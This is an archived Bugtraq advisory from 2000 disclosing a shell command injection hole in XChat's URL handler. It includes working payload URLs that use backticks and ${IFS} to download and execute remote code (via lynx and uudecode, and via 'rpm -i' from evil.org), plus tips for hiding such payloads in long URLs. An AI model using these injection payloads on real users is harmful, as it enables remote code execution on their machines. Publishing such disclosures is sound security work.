Bugtraq mailing list archives
XChat URL handler vulnerabilty
From: zenith parsec <zenith_parsec () THE-ASTRONAUT COM>
Date: Thu, 17 Aug 2000 11:19:40 -0000
********************************************************************** Email was sent to zed () linux com (the author of xchat) and after over a week, I have received no reply. So here it is... the advisory. ********************************************************************** *************** ***zen-parse*** - blinking since 1992 (or mebe earlier) *************** X X CC H H AA TTTTT X X C C H H A A T X C HHHH AAAA T X X C C H H A A T X X CC H H A A T Hole: backticked commands embedded in URLs vulnerabilty. *********************************** * If you are lazy, read this part * *********************************** Just to show what i mean about the possible danger, start Netscape and enter in xchat, (in a channel or query window) the following URL. http://this.should.work.com/cgi-bin/search.cgi?q='`lynx${IFS}-dump${IFS}http://homepages.ihug.co.nz/~Sneuro/thing|uudecode;./thingee`' Right click on it, and select the Netscape (Existing) or Netscape (New Window) option. Wait until the URL loads. In a shell on your machine type tail -2 ~/.bash_profile echo You've been hax0red echo --zen (oops... should've been You\'ve been hax0red, but u get the idea ;]) Lucky it wasn't a script that was well written, and designed to use script kiddie stuff to hack root or something, eh? ********************************************************************** ********************************************************************** For the non-lazy and the lazy who were impressed by the quick demo... <advisory> ********************************************************************** X-Chat has a feature which allows execution of code remotely with the permissions of the user running it. (affects at least versions <1.4.2, probably all versions.) ********************************************************************** The hole is in the URL Handler section: Netscape (Existing) causes XChat to run the command netscape -remote 'openURL(%s)' where the %s is replaced by the selected URL eg: http://homepages.ihug.co.nz/~Sneuro/ causes the command netscape -remote 'openURL(http://homepages.ihug.co.nz/~Sneuro/)' which opens that page. Netscape (Run New) causes XChat to run the command netscape %s and so on. ************************** * The Hole * ************************** Backticking and shell expansion. Imagine if someone types: l00k @ d15 k3w1 w@r3z 5173! http://www.altavista.com/?x=`date`y='`date`' with the (Existing) or (New Window) options and others that use 'openURL(%s)' type commands to start the program, you get: netscape -remote 'openURL(http://www.altavista.com/?x=`date`y='`date`')' count the 's and u will see that at the 2nd `date` they are closed, and then reopened, so that `date` isn't escaped anymore... leaving it free to run, which it does. With the (Run New) type commands (that is command %s with no 's around the %s) you get: netscape http://www.altavista.com/?x=`date`y='`date`' which has the 1st `date` unescaped (no 's around it) and so it executes. In real life though, its unlikely anyone would click on a URL like http://`reboot`/'`reboot`' though. Still, not all that useful, I hear you tell me. Well, URLs can get pretty long. For example, a cgi-bin call to somethng can get quite long. http://www.altavista.com/cgi-bin/query?pg=q&stype=stext&Translate=on&sc=on&q=%2bxchat+%2bbacktick+%2bexploit&stq=10 compare that to: http://www.altavista.com/cgi-bin/query?pg=q&stype=stext&Translate=on&sc=on&q=%2bxchat+%2b`reboot`+%2bexploit&stq=10&filter='`reboot`'&user=b0dee0132&split=1 quick glance... nothing wrong with it. well, u seem to have a limitation, in that putting spaces in doesn't work, nor does redirection. well, u can put spaces in.The $IFS variable is probably set. And who needs redirection, when u can do this: http://www.altavista.com/?'"`rpm${IFS}-i${IFS}http://evil.org/evil.rpm`"' (For (Existing) or (New Window)) http://www.altavista.com/?"`rpm${IFS}-i${IFS}http://evil.org/evil.rpm`" (for (Run New)) (not hidden in anyway, but it could be obfuscated like the earlier example.) (Also only works if someone is running as root, (which is *STUPID* idea anyway) but the 1st example should've shown you a method around this) anyway... the possibilities are endless ;) -- zen-parse </advisory> ps: greets to: lamagra, omega, lockdown, grue, Mega, possem, some other people i can't remember, the rest of #roothat, and mebe even #social and umm... u, if I know u. Send someone a cool Dynamitemail flashcard greeting!! And get rewarded. GO AHEAD! http://cards.dynamitemail.com/index.php3?rid=fc-41
Attachment:
x-chat-url-executionything.txt
Description: x-chat-url-executionything.txt
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- XChat URL handler vulnerabilty zenith parsec (Aug 18)